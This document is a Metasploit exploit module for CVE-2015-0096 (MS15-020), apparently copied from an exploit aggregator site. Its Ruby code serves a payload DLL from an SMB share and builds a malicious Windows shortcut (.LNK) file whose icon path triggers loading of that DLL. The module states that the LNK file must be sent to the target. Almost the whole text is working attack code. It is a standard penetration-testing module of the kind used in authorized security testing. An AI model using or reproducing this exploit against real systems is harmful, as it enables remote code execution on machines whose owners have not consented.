Exploit for Microsoft Windows Shell LNK Code Execution

## https://sploitus.com/exploit?id=MSF:EXPLOIT-WINDOWS-SMB-MS15_020_SHORTCUT_ICON_DLLLOADER-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::SMB::Server::Share

  attr_accessor :exploit_dll_name

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'Microsoft Windows Shell LNK Code Execution',
        'Description'	=> %q{
          This module exploits a vulnerability in the MS10-046 patch to abuse (again) the handling
          of Windows Shortcut files (.LNK) that contain an icon resource pointing to a malicious
          DLL. This creates an SMB resource to provide the payload and the trigger, and generates a
          LNK file which must be sent to the target. This module has been tested successfully on
          Windows 2003 SP2 with MS10-046 installed and Windows 2008 SP2 (32 bits) with MS14-027
          installed.
        },
        'Author' => [
          'Michael Heerklotz', # Vulnerability discovery
          'juan vazquez' # msf module
        ],
        'License'	=> MSF_LICENSE,
        'References' => [
          ['CVE', '2015-0096'],
          ['MSB', 'MS15-020'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Full-details-on-CVE-2015-0096-and-the-failed-MS10-046-Stuxnet/ba-p/6718459#.VQBOymTF9so'],
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4911'] # How to guide here
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space'	=> 2048,
        },
        'Platform'	=> 'win',
        'Targets' => [
          [ 'Automatic',	{} ]
        ],
        'DisclosureDate' => '2015-03-10',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk'])
      ]
    )

    register_advanced_options(
      [
        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', false])
      ]
    )

    deregister_options('FILE_CONTENTS', 'FILE_NAME')
  end

  def smb_host
    "\\\\#{srvhost}\\#{share}\\"
  end

  def setup
    super

    self.file_contents = generate_payload_dll
    random_char = rand_text_alpha(1)
    self.file_name = "#{random_char}.dll"
    prefix = "#{random_char} "
    random_length = 257 - smb_host.length - file_name.length - prefix.length
    self.exploit_dll_name = "#{prefix}#{rand_text_alpha(random_length)}#{file_name}"

    print_status("Payload available on #{unc}...")
    print_status("Trigger available on #{smb_host}#{exploit_dll_name}...")
  end

  def primer
    lnk = generate_link("#{smb_host}#{exploit_dll_name}")
    file_create(lnk)
    print_status('The LNK file must be sent or shared with the target...')
  end

  def generate_link(unc)
    uni_unc = unc.unpack('C*').pack('v*')
    path = ''
    path << [
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')
    path << uni_unc

    # LinkHeader
    ret = [
      0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    ].pack('C*')

    idlist_data = ''
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [0x12 + 2].pack('v')
    idlist_data << [
      0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
      0x30, 0x9d
    ].pack('C*')
    idlist_data << [path.length + 2].pack('v')
    idlist_data << path
    idlist_data << [0x00].pack('v') # TERMINAL WOO

    # LinkTargetIDList
    ret << [idlist_data.length].pack('v') # IDListSize
    ret << idlist_data

    # ExtraData blocks (none)
    ret << [rand(4)].pack('V')

    # Patch in the LinkFlags
    ret[0x14, 4] = ['10000001000000000000000000000000'.to_i(2)].pack('N')
    ret
  end
end